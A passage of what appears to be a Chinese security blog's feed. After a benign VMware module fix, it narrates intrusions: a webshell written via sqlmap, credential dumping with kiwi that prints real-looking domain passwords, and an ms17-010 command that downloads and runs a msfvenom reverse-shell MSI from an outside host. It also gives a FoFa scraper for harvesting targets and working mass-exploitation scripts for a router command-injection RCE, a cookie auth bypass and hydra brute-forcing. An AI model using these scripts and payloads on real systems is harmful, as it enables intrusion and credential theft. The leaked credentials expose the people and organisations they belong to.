        <content type="html"><![CDATA[<p>linux系统因为更新内核 导致vmware提示找不到 gcc<br>如果系统有提示重新安装vmmon vmnet 点击重新安装即可</p><ul><li><p>方法1</p><p>去<code>https://github.com/mkubecek/vmware-host-modules</code>找对应vm版本的tar.gz,然后安装</p><p>First method (build and install):</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget https://github.com/mkubecek/vmware-host-modules/archive/workstation-14.1.1.tar.gz</span><br><span class="line">tar -xzf workstation-14.1.1.tar.gz</span><br><span class="line"><span class="built_in">cd</span> vmware-host-modules-workstation-14.1.1</span><br><span class="line">make</span><br><span class="line">make install</span><br></pre></td></tr></table></figure></li><li><p>方法2</p><p>Second method (replace original tarballs):</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">wget https://github.com/mkubecek/vmware-host-modules/archive/workstation-14.1.1.tar.gz</span><br><span class="line">tar -xzf workstation-14.1.1.tar.gz</span><br><span class="line"><span class="built_in">cd</span> vmware-host-modules-workstation-14.1.1</span><br><span class="line">tar -cf vmmon.tar vmmon-only</span><br><span class="line">tar -cf vmnet.tar vmnet-only</span><br><span class="line"><span class="built_in">cp</span> -v vmmon.tar vmnet.tar /usr/lib/vmware/modules/source/</span><br><span class="line">vmware-modconfig --console --install-all</span><br></pre></td></tr></table></figure></li></ul>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> gcc </tag>
            
            <tag> vmware </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>目录浏览致域沦陷</title>
      <link href="/archives/security/file-of-to-dc-fall.html"/>
      <url>/archives/security/file-of-to-dc-fall.html</url>
      
        <content type="html"><![CDATA[<p>目录浏览引发的血案</p><p>漏洞</p><ul><li>目录浏览</li><li>phpinfo.php</li><li>mysql密码泄漏</li><li>phpmyadmin</li></ul><p>目录泄漏，到处查看文件，其中一个配置文件里面找到了一个mysql用户及密码</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">http://xxxx:8880/inc/func/mysql.inc</span></span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">$conn_local=db_connect(&#x27;localhost&#x27;,&#x27;nik&#x27;,&#x27;niknik&#x27;,&#x27;cugaet&#x27;);</span></span><br></pre></td></tr></table></figure><p>phpmyadmin 能登录，</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">http://xxxx:8880/phpmyadmin</span></span><br></pre></td></tr></table></figure><p>登录以后发现为dba，i结合phpinfo泄漏的路径可以直接写shell，顺便查看root密码02061978</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sqlmap -d mysql://nik:niknik@xxxx:3306/mysql --file-write=/root/webshell/shell.php  --file-dest=C:/xampp/htdocs/shell.php</span><br></pre></td></tr></table></figure><p>菜刀链接以后开始信息收集</p><p>找到了mssql sa密码</p><p><code>C:/wamp/www/automatic_oop/gubo/load.php</code></p><p><code>xxxxx:1433 - Login Successful: WORKSTATION\sa:57835783</code></p><p>权限也比较高，</p><p>上传msf监听，getsystem，load-kiwi</p><p>导出密码</p><p>Username Domain Password</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"><span class="string">(null)</span> <span class="string">(null)</span> <span class="string">(null)</span></span><br><span class="line"><span class="string">OBLAST$</span> <span class="string">CUGAET</span> <span class="string">7c</span> <span class="string">e4</span> <span class="string">ed</span> <span class="string">b0</span> <span class="string">4a</span> <span class="string">2e</span> <span class="string">9e</span> <span class="number">59</span> <span class="string">a4</span> <span class="string">d6</span> <span class="number">79</span> <span class="string">5d</span> <span class="number">15</span> <span class="string">ae</span> <span class="string">e9</span> <span class="number">70</span> <span class="number">49</span> <span class="string">9e</span> <span class="string">ee</span> <span class="number">82</span> <span class="string">5a</span> <span class="number">96</span> <span class="string">3b</span> <span class="number">45</span> <span class="string">fb</span> <span class="string">2d</span> <span class="string">a5</span> <span class="number">56</span> <span class="string">a8</span> <span class="string">cf</span> <span class="number">97</span> <span class="string">b9</span> <span class="string">c9</span> <span class="string">8b</span> <span class="string">e4</span> <span class="number">12</span> <span class="string">fb</span> <span class="number">49</span> <span class="string">d6</span> <span class="string">d2</span> <span class="string">a7</span> <span class="string">6b</span> <span class="number">81</span> <span class="string">6c</span> <span class="number">64</span> <span class="string">ed</span> <span class="string">9e</span> <span class="string">dc</span> <span class="string">b8</span> <span class="number">72</span> <span class="string">dc</span> <span class="string">8b</span> <span class="number">13</span> <span class="number">34</span> <span class="number">53</span> <span class="string">e0</span> <span class="string">c9</span> <span class="string">3c</span> <span class="string">f4</span> <span class="string">3c</span> <span class="string">cc</span> <span class="string">ba</span> <span class="string">ce</span> <span class="number">20</span> <span class="number">59</span> <span class="number">61</span> <span class="string">be</span> <span class="string">6a</span> <span class="number">72</span> <span class="number">00</span> <span class="string">fa</span> <span class="string">b2</span> <span class="string">b8</span> <span class="string">1f</span> <span class="string">c5</span> <span class="string">e9</span> <span class="number">04</span> <span class="number">64</span> <span class="number">73</span> <span class="string">9b</span> <span class="string">ae</span> <span class="string">d8</span> <span class="number">94</span> <span class="string">6a</span> <span class="string">4e</span> <span class="number">91</span> <span class="number">40</span> <span class="string">2d</span> <span class="string">a8</span> <span class="string">0f</span> <span class="number">34</span> <span class="number">64</span> <span class="string">2b</span> <span class="string">8d</span> <span class="string">e0</span> <span class="string">c4</span> <span class="string">fe</span> <span class="number">78</span> <span class="number">45</span> <span class="string">b9</span> <span class="string">b0</span> <span class="string">de</span> <span class="string">0a</span> <span class="number">12</span> <span class="string">fe</span> <span class="string">eb</span> <span class="string">1f</span> <span class="string">fc</span> <span class="string">b2</span> <span class="number">73</span> <span class="string">e5</span> <span class="number">75</span> <span class="string">1f</span> <span class="number">25</span> <span class="string">e0</span> <span class="number">88</span> <span class="string">b4</span> <span class="string">b1</span> <span class="string">9e</span> <span class="string">b2</span> <span class="string">e6</span> <span class="number">08</span> <span class="number">77</span> <span class="number">71</span> <span class="string">ff</span> <span class="number">05</span> <span class="string">af</span> <span class="number">01</span> <span class="string">e0</span> <span class="number">95</span> <span class="string">c1</span> <span class="number">54</span> <span class="string">bf</span> <span class="string">3d</span> <span class="string">0f</span> <span class="string">6a</span> <span class="string">f3</span> <span class="string">c4</span> <span class="string">b6</span> <span class="number">70</span> <span class="string">5b</span> <span class="string">b2</span> <span class="string">b4</span> <span class="number">36</span> <span class="string">b7</span> <span class="number">29</span> <span class="number">28</span> <span class="string">2e</span> <span class="number">39</span> <span class="number">50</span> <span class="string">a0</span> <span class="string">1d</span> <span class="string">5a</span> <span class="number">28</span> <span class="number">21</span> <span class="string">1d</span> <span class="number">21</span> <span class="string">a4</span> <span class="string">4e</span> <span class="string">c7</span> <span class="number">63</span> <span class="string">e1</span> <span class="string">cc</span> <span class="number">36</span> <span class="number">14</span> <span class="string">6c</span> <span class="string">cb</span> <span class="string">8e</span> <span class="string">bc</span> <span class="number">76</span> <span class="number">40</span> <span class="number">15</span> <span class="number">26</span> <span class="string">e3</span> <span class="number">79</span> <span class="number">44</span> <span class="string">bc</span> <span class="string">d2</span> <span class="string">4f</span> <span class="string">a3</span> <span class="number">99</span> <span class="string">7b</span> <span class="string">fa</span> <span class="string">c7</span> <span class="number">22</span> <span class="string">2f</span> <span class="string">8e</span> <span class="string">0d</span> <span class="string">bf</span> <span class="string">c3</span> <span class="string">e8</span> <span class="string">eb</span> <span class="string">e1</span> <span class="number">43</span> <span class="string">b7</span> <span class="string">7e</span> <span class="number">47</span> <span class="number">52</span> <span class="string">1e</span> <span class="number">10</span> <span class="string">db</span> <span class="number">79</span> <span class="string">4f</span> <span class="number">32</span> <span class="number">84</span> <span class="number">15</span> <span class="string">9a</span> <span class="number">68</span> <span class="string">8b</span> <span class="string">a8</span> <span class="string">c6</span> <span class="string">f5</span> <span class="number">89</span> <span class="string">f5</span> <span class="number">70</span> <span class="string">fc</span> <span class="number">63</span> <span class="string">9b</span> <span class="string">e6</span> <span class="string">cc</span> <span class="string">f4</span> <span class="string">7c</span> <span class="number">91</span> <span class="string">ca</span> <span class="string">c5</span> <span class="string">dd</span> <span class="string">3d</span> <span class="string">f7</span> <span class="string">e6</span> <span class="number">21</span> <span class="string">0d</span> <span class="number">10</span> <span class="string">c9</span> <span class="number">23</span> <span class="string">1a</span> <span class="string">1d</span> <span class="string">ce</span> <span class="number">34</span> <span class="number">55</span> <span class="number">03</span></span><br><span class="line"><span class="string">akimova-na</span> <span class="string">CUGAET</span> <span class="number">123</span></span><br><span class="line"><span class="string">degur</span> <span class="string">CUGAET</span> <span class="string">specialist</span></span><br><span class="line"><span class="string">nikolai</span> <span class="string">CUGAET</span> <span class="string">Thor!$go2</span></span><br><span class="line"><span class="string">slava</span> <span class="string">CUGAET</span> <span class="string">t34ss220</span></span><br></pre></td></tr></table></figure><h2 id="tspkg-credentials"><a href="#tspkg-credentials" class="headerlink" title="tspkg credentials"></a>tspkg credentials</h2><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Username</span> <span class="string">Domain</span> <span class="string">Password</span></span><br><span class="line"></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="string">akimova-na</span> <span class="string">CUGAET</span> <span class="number">123</span></span><br><span class="line"><span class="string">degur</span> <span class="string">CUGAET</span> <span class="string">specialist</span></span><br><span class="line"><span class="string">nikolai</span> <span class="string">CUGAET</span> <span class="string">Thor!$go2</span></span><br><span class="line"><span class="string">slava</span> <span class="string">CUGAET</span> <span class="string">t34ss220</span></span><br></pre></td></tr></table></figure><p>arp -a获取一部分内网ip，提取ip，</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">route add 192.168.2.1/24 1</span><br></pre></td></tr></table></figure><p>添加路由</p><p>据上面判断有域<br><img src="https://images.hao.kim/uploads/2024/08/1724070689368.png" alt="图 0"><br><img src="https://images.hao.kim/uploads/2024/08/1724070716196.png" alt="图 1"></p><p>ms17-010扫描一波<br><img src="https://images.hao.kim/uploads/2024/08/1724070727872.png" alt="图 2"></p><p>域控制器DC，datacenter 存在17-010</p><p>dc目标为x86不能直接用msf的17-010，所以通过 admin&#x2F;smb&#x2F;ms17_010_command 来执行命令</p><p>生成一个msi，然后下载执行，</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=xxxx lport=port rc4password=xxx -f msi &gt; xxx.msi</span><br></pre></td></tr></table></figure><p>msf 设置好监听 Exploit: multi&#x2F;handler windows&#x2F;meterpreter&#x2F;reverse_tcp_rc4</p><p>设置需要执行的命令</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">set</span> <span class="built_in">command</span> msiexec /qn /i http://xxx/xxx.msi</span><br><span class="line"></span><br><span class="line">run</span><br></pre></td></tr></table></figure><p>至此拿下域Dc，导出域内用户hash</p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 目录浏览 </tag>
            
            <tag> 信息收集 </tag>
            
            <tag> 域渗透 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>iTop</title>
      <link href="/archives/security/itop.html"/>
      <url>/archives/security/itop.html</url>
      
        <content type="html"><![CDATA[<blockquote><p>1、弱密码<br>2、目录浏览<br>访问站点，随手打个admin，进入<br><img src="https://images.hao.kim/uploads/2024/08/1724051144199.png" alt="图 0"></p></blockquote><p>getshell<br>网站环境为php，登录以后，发现管理工具里面有个 “编辑配置文件”，可以对配置文件进行编辑，本来打算直接写个一句话到配置文件保存，但是保存不了，后来末尾添加个phpinfo()竟然直接执行了，于是乎，我想使用php写文件到目录看看，bingo，<br><img src="https://images.hao.kim/uploads/2024/08/1724051164190.png" alt="图 1"></p><p>执行以后会提示文件大小<br>因为存在目录浏览，所以可以直接看到新建的文件，然后蚁剑访问<br><img src="https://images.hao.kim/uploads/2024/08/1724051182381.png" alt="图 2"><br><img src="https://images.hao.kim/uploads/2024/08/1724051192750.png" alt="图 3"></p><p>查看权限 system 提权都i免了，查看同网段ip<br><img src="https://images.hao.kim/uploads/2024/08/1724051439595.png" alt="图 4"></p><p>接下来进行密码搜集和内网拓展<br>tasklist 没发现杀毒软件，运气好<br>上传msf执行，收到反弹shell，getuid 是sysytem，hashdump导出hash，load kiwi 查看明文，为空，把hash拿去破解，无果<br><img src="https://images.hao.kim/uploads/2024/08/1724051469692.png" alt="图 5"></p><p>arp 扫描主机<br>run arp_scanner -r 172.x.x.1&#x2F;24<br>待续</p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> iTop </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>FoFa Spider脚本</title>
      <link href="/archives/security/fofa-spider-sh.html"/>
      <url>/archives/security/fofa-spider-sh.html</url>
      
        <content type="html"><![CDATA[<p>获取FoFa10000条数据爬虫脚本</p><blockquote><p>下面的脚本可能因为服务端变更，会有报错，</p><p>推荐使用 <code>https://github.com/wgpsec/fofa_viewer.git</code></p></blockquote><p>fofa-spider.sh</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">用法：</span></span><br><span class="line"></span><br><span class="line"><span class="string">字符串为要搜索的字符串，无须base64。</span></span><br><span class="line"></span><br><span class="line"><span class="string">保存文件名，会自动创建文件夹并存放三个文件，分别为搜索记录，ip文件，ip-port文件</span></span><br><span class="line"></span><br><span class="line"><span class="string">页前数据，只能1000页以内，默认获取ip时间为每条1秒，可以修改sleep等待时间，</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment">#设定cookies</span></span><br><span class="line"><span class="comment">#read -p &quot;fofapro_ars_sessions:&quot; fofapro_ars_session</span></span><br><span class="line">fofapro_ars_session=<span class="string">&quot;xxxxxxxxxxxxxxxxxxxxx&quot;</span></span><br><span class="line"><span class="comment">#获取搜索字符串，并对字符串进行base64</span></span><br><span class="line"><span class="built_in">echo</span> -e <span class="string">&quot;\033[33m 搜索的字符串: \033[0m&quot;</span></span><br><span class="line"><span class="built_in">read</span> -p  <span class="string">&quot;&quot;</span> search</span><br><span class="line">search_base64=`<span class="built_in">echo</span> -e <span class="string">&quot;<span class="variable">$search</span>\c&quot;</span> | <span class="built_in">base64</span> -w 0 -`</span><br><span class="line"><span class="built_in">echo</span> -e <span class="string">&quot;\033[33m 保存的文件名: \033[0m&quot;</span></span><br><span class="line"><span class="built_in">read</span> -p <span class="string">&quot;&quot;</span> filename</span><br><span class="line"><span class="built_in">mkdir</span> <span class="variable">$filename</span></span><br><span class="line">url1=<span class="string">&quot;https://fofa.so/result?qbase64=<span class="variable">$&#123;search_base64&#125;</span>&quot;</span></span><br><span class="line">  <span class="built_in">echo</span> -e <span class="string">&quot;\033[37m url: \033[0m&quot;</span> <span class="variable">$url1</span></span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$search</span> &gt;&gt; <span class="variable">$filename</span>/search</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$url1</span> &gt;&gt; <span class="variable">$filename</span>/search</span><br><span class="line"><span class="comment">#获取ip总数</span></span><br><span class="line">Num=`curl --cookie <span class="string">&quot;_fofapro_ars_session=<span class="variable">$fofapro_ars_session</span>&quot;</span> <span class="variable">$url1</span> -s |grep distinct_ips | <span class="built_in">cut</span> -d <span class="string">&quot;&gt;&quot;</span> -f 2 | <span class="built_in">cut</span> -d <span class="string">&quot;&lt;&quot;</span> -f 1 | sed <span class="string">&quot;s/,//g&quot;</span>`</span><br><span class="line">  <span class="built_in">echo</span> -e 共有<span class="string">&quot;\033[33m <span class="variable">$Num</span> \033[0m&quot;</span>条数据,每页10个，共<span class="string">&quot;\033[33m $[<span class="variable">$Num</span>/10] \033[0m&quot;</span>页<span class="string">&quot;\033[33m $[<span class="variable">$Num</span>%10] \033[0m&quot;</span>条</span><br><span class="line"><span class="built_in">echo</span> -e <span class="string">&quot;\033[33m 获取多少页前数据: \033[0m&quot;</span></span><br><span class="line"><span class="built_in">read</span> -p <span class="string">&quot;&quot;</span> end_page</span><br><span class="line"><span class="keyword">for</span> ((i=<span class="number">1</span>;i&lt;=<span class="variable">$&#123;end_page&#125;</span>;i++))</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  <span class="built_in">echo</span> -e <span class="string">&quot;\033[33m Waite 正在读取第 <span class="variable">$i</span> 页数据 \033[0m&quot;</span></span><br><span class="line">  curl  -s  --cookie <span class="string">&quot;_fofapro_ars_session=<span class="variable">$fofapro_ars_session</span>&quot;</span>  <span class="string">&quot;https://fofa.so/result?file=&amp;page=<span class="variable">$&#123;i&#125;</span>&amp;qbase64=<span class="variable">$&#123;search_base64&#125;</span>&quot;</span> -o tmp_file</span><br><span class="line">  <span class="built_in">cat</span> tmp_file | grep target | <span class="built_in">cut</span> -d <span class="string">&quot;\&quot;&quot;</span> -f 4 |sed <span class="string">&quot;/\(_blank\|#api_info\)/d&quot;</span> | sed <span class="string">&quot;/^$/d&quot;</span>&gt;&gt; <span class="variable">$filename</span>/<span class="variable">$filename</span>-port</span><br><span class="line">  <span class="built_in">cat</span> tmp_file | grep hosts  |<span class="built_in">cut</span> -d <span class="string">&quot;\&quot;&quot;</span> -f 2 |<span class="built_in">cut</span> -d / -f 3 | sed <span class="string">&quot;/^$/d&quot;</span> &gt;&gt; <span class="variable">$filename</span>/<span class="variable">$filename</span></span><br><span class="line">  <span class="built_in">sleep</span> 10</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"><span class="built_in">exit</span></span><br></pre></td></tr></table></figure><p>检测端口成活可以用masscan，nmap 。http成活和响应可以用whatweb，curl</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `<span class="built_in">cat</span> <span class="variable">$FileName</span>`</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">  <span class="built_in">echo</span> <span class="variable">$i</span></span><br><span class="line">  Status_Code=`curl -m 10 --connect-timeout 10 -o /dev/null -s -w %&#123;http_code&#125; <span class="variable">$i</span>/`</span><br><span class="line">  <span class="built_in">echo</span> <span class="variable">$Status_Code</span></span><br><span class="line">  <span class="keyword">if</span> ((Status_Code == <span class="number">200</span>)); <span class="keyword">then</span></span><br><span class="line">  whatweb <span class="variable">$i</span>/</span><br><span class="line">  <span class="built_in">echo</span> <span class="variable">$i</span> &gt;&gt; <span class="variable">$FileName</span>-live</span><br><span class="line">  <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"><span class="built_in">exit</span></span><br></pre></td></tr></table></figure><p>masscan检测端口开放</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">masscan -p3306 -iL filename | <span class="built_in">cut</span> -d <span class="string">&quot; &quot;</span> -f 6 &gt; filename-live</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> fofa </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>diagnose rce</title>
      <link href="/archives/security/diagnose-rce.html"/>
      <url>/archives/security/diagnose-rce.html</url>
      
        <content type="html"><![CDATA[<p>1.命令注入RCE</p><p>漏洞地址 cgimodule&#x3D;net_diagnose&amp;diagnose_type&#x3D;0&amp;domain&#x3D;%7C+COMMAND”</p><p>2.认证绕过 cookie伪造</p><p>name&#x3D;admin domain&#x3D;$random language&#x3D;0 sessionid&#x3D;0 path&#x3D;</p><p>3.默认密码</p><p>ieee802.11 admin 123456</p><p>check.sh<br>    对fofa获取的ip进行针对性成活检测<br>    用法 .&#x2F;check.sh checkfile 文件中每行一个ip，格式为<code>http://ip</code></p><p>v1.sh<br>    对文本中的目标进行rce检测，并生成rce-ok rce-no 和notfound三个文件<br>    用法 .&#x2F;v1.sh 状态200文件,文件中每行一个ip，格式为<code>http://ip</code></p><p>对v1.sh处理后，从rce-ok提取的ip进行分类，分为mips，i686,x86_64 ，并为执行特定payload做准备<br>用法 .&#x2F;exp.sh filename-rce-ok 每行一个ip，格式为<code>http://ip/{,username,password}</code>,需要密码获取cookies的则需要密码，否则不需要</p><p>check.sh</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">mkdir</span> tmp</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;e.g: ./check.sh  checkfile  &quot;</span></span><br><span class="line">FileName=<span class="string">&quot;<span class="variable">$1</span>&quot;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `<span class="built_in">cat</span> <span class="variable">$filename</span>`</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">  url=<span class="variable">$i</span>/cgi-bin/snmpManager.cgi?cgimodule=login</span><br><span class="line">  code=$(curl -s -o tmp/checkkk.txt -w %&#123;http_code&#125;  --connect-timeout 1 -m 1 <span class="variable">$url</span>)</span><br><span class="line"><span class="comment">#  code=$(curl -s -o tmp/checkkk.txt -w %&#123;http_code&#125;  --connect-timeout 0.4 -m 0.5 $url)</span></span><br><span class="line">  <span class="keyword">if</span> ((code == <span class="number">200</span>)) || ((cat tmp/checkkk.txt | grep /black.jpg))  &gt;/dev/null 2&gt;&amp;1 ; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="variable">$i</span> &gt;&gt; <span class="variable">$filename</span>-200</span><br><span class="line">            <span class="built_in">echo</span>  -e <span class="string">&quot;\033[31m <span class="variable">$i</span> Success! \033[0m&quot;</span></span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">              <span class="built_in">echo</span> <span class="variable">$i</span> <span class="string">&quot;Failed!&quot;</span></span><br><span class="line">          <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>v1.sh</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="comment">#这个版本为可破解web认证版本</span></span><br><span class="line"><span class="built_in">rm</span> tmp/*</span><br><span class="line"><span class="built_in">rm</span> -f hydra.restore</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;e.g: ./v1.sh  filename  &quot;</span></span><br><span class="line">FileName=<span class="string">&quot;<span class="variable">$1</span>&quot;</span></span><br><span class="line">PassFile=<span class="string">&quot;v1pass.txt&quot;</span></span><br><span class="line">COMMAND=<span class="string">&quot; uname -a&quot;</span></span><br><span class="line">random=$(<span class="built_in">cat</span> /dev/urandom | sed <span class="string">&quot;s/[^a-zA-Z0-9]//g&quot;</span> | strings -n 5 | <span class="built_in">head</span> -n 1)</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$random</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> `<span class="built_in">cat</span> <span class="variable">$FileName</span>`</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  <span class="built_in">echo</span> -------------------</span><br><span class="line">  whatweb <span class="variable">$i</span></span><br><span class="line">  url=<span class="variable">$i</span>/cgi-bin/snmpManager.cgi</span><br><span class="line">  url_login=<span class="variable">$&#123;url&#125;</span>?cgimodule=login</span><br><span class="line">  url_rce=<span class="variable">$&#123;url&#125;</span>?cgimodule=net_diagnose</span><br><span class="line">  cookies_bypass=<span class="string">&quot;name=admin domain=<span class="variable">$random</span> language=0 sessionid=0  path=&quot;</span></span><br><span class="line">  post_cmd=<span class="string">&quot;cgimodule=net_diagnose&amp;diagnose_type=0&amp;domain=%7C&quot;</span></span><br><span class="line">  post_getdata=<span class="string">&quot;cgimodule=ajax_diagnose&quot;</span></span><br><span class="line">  code_200=`curl -s -o tmp/check.txt -w %&#123;http_code&#125; --connect-timeout 2 -m 5 <span class="variable">$url_login</span>`</span><br><span class="line">  <span class="keyword">if</span> ((code_200 == <span class="number">200</span>)); <span class="keyword">then</span></span><br><span class="line">    <span class="keyword">if</span>  grep /black.jpg tmp/check.txt &gt;/dev/null 2&gt;&amp;1 ; <span class="keyword">then</span></span><br><span class="line">      <span class="built_in">echo</span> 指纹匹配 ok</span><br><span class="line">      curl -s -o /dev/null --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span>  -d <span class="variable">$post_cmd</span>+<span class="built_in">id</span> <span class="variable">$url_rce</span></span><br><span class="line">      curl -s -o tmp/exp_log.txt --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span> -d <span class="variable">$post_getdata</span> <span class="variable">$url</span></span><br><span class="line">      <span class="keyword">if</span> grep uid tmp/exp_log.txt &gt;/dev/null 2&gt;&amp;1 ; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> 执行命令 <span class="variable">$COMMAND</span></span><br><span class="line">        curl -s -o /dev/null --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span> -d <span class="string">&quot;<span class="variable">$post_cmd</span>+<span class="variable">$COMMAND</span>&quot;</span> <span class="variable">$url_rce</span></span><br><span class="line">        curl -s --cookie <span class="string">&quot;<span class="variable">$cookies_bypass</span>&quot;</span> -d <span class="variable">$post_getdata</span>  <span class="variable">$url</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="variable">$i</span> &gt;&gt; <span class="variable">$FileName</span>-Rce-OK</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot; \n &quot;</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> crack 密码</span><br><span class="line">        <span class="built_in">echo</span> &gt; tmp/secces.txt</span><br><span class="line">        Username=admin</span><br><span class="line">        rhost=`<span class="built_in">echo</span> <span class="variable">$i</span> | sed <span class="string">&#x27;s/http\:\/\///g&#x27;</span> | <span class="built_in">cut</span> -d <span class="string">&quot;:&quot;</span> -f1`</span><br><span class="line">        rport=`<span class="built_in">echo</span> <span class="variable">$i</span> | awk -F <span class="string">&#x27;:&#x27;</span> <span class="string">&#x27;&#123;print $3&#125;&#x27;</span>`</span><br><span class="line">        hydra -l <span class="variable">$Username</span> -P <span class="variable">$PassFile</span> <span class="variable">$rhost</span> -s <span class="variable">$rport</span> http-post-form <span class="string">&quot;/cgi-bin/snmpManager.cgi:cgimodule=login&amp;username=^USER^&amp;passwd=^PASS^&amp;language=2:black.jpg&quot;</span> -t 1 -f | grep http-post-form | grep password  &gt; tmp/secces.txt</span><br><span class="line">        Password=`<span class="built_in">cut</span> -d <span class="string">&quot; &quot;</span> -f 11 tmp/secces.txt | sed <span class="string">&#x27;s/^[ ]*//&#x27;</span>| sed <span class="string">&#x27;/^$/d&#x27;</span>`</span><br><span class="line">        post_auth=<span class="string">&quot;cgimodule=login&amp;username=<span class="variable">$Username</span>&amp;passwd=<span class="variable">$Password</span>&amp;language=2&quot;</span></span><br><span class="line">              <span class="keyword">if</span> [[ -n <span class="variable">$Password</span> ]];<span class="keyword">then</span></span><br><span class="line">          <span class="built_in">echo</span> 密码破解成功</span><br><span class="line">          <span class="built_in">echo</span> <span class="string">&quot;password:&quot;</span> <span class="variable">$Password</span></span><br><span class="line">          curl -s -o /dev/null -m 5  -c tmp/gbcookies.txt -d <span class="variable">$post_auth</span> <span class="variable">$url_login</span></span><br><span class="line">          curl -s -o /dev/null -m 5  -b tmp/gbcookies.txt -d <span class="variable">$post_cmd</span>+<span class="built_in">id</span> <span class="variable">$url_rce</span></span><br><span class="line">          curl -s -o tmp/exp_log2.txt -m 5 -b tmp/gbcookies.txt -d <span class="variable">$post_getdata</span> <span class="variable">$url</span></span><br><span class="line">          <span class="keyword">if</span> grep uid tmp/exp_log2.txt &gt;/dev/null 2&gt;&amp;1 ; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> 执行命令 <span class="variable">$COMMAND</span></span><br><span class="line">            curl -s -o /dev/null -m 5 -b tmp/gbcookies.txt -d <span class="string">&quot;<span class="variable">$post_cmd</span>+<span class="variable">$COMMAND</span>&quot;</span> <span class="variable">$url_rce</span></span><br><span class="line">            curl  -m 5 -b tmp/gbcookies.txt -d <span class="variable">$post_getdata</span> <span class="variable">$url</span></span><br><span class="line">            <span class="built_in">echo</span> -e <span class="string">&quot;\033[33m User:<span class="variable">$Username</span> Pass:<span class="variable">$Password</span> \033[0m&quot;</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="variable">$i</span> <span class="variable">$Username</span> <span class="variable">$Password</span> &gt;&gt; <span class="variable">$FileName</span>-Rce-OK</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">              <span class="built_in">echo</span> -e <span class="string">&quot;\033[33m User:<span class="variable">$Username</span> Pass:<span class="variable">$Password</span> But Can&#x27;t RCE !!\033[0m &quot;</span></span><br><span class="line">              <span class="built_in">echo</span> <span class="variable">$i</span> <span class="variable">$Username</span> <span class="variable">$Password</span> &gt;&gt; <span class="variable">$FileName</span>-Rce-NO</span><br><span class="line">          <span class="keyword">fi</span></span><br><span class="line">          <span class="keyword">else</span></span><br><span class="line">            <span class="built_in">echo</span> -e <span class="string">&quot;\033[33m Password Not Found !!\033[0m &quot;</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="variable">$i</span> &gt;&gt; <span class="variable">$FileName</span>-Password-NotFound</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">      <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">          <span class="built_in">echo</span> <span class="string">&quot;<span class="variable">$i</span> failed&quot;</span></span><br><span class="line">          <span class="keyword">fi</span></span><br><span class="line">  <span class="keyword">fi</span></span><br><span class="line"> <span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>exp.sh</p><figure class="highlight 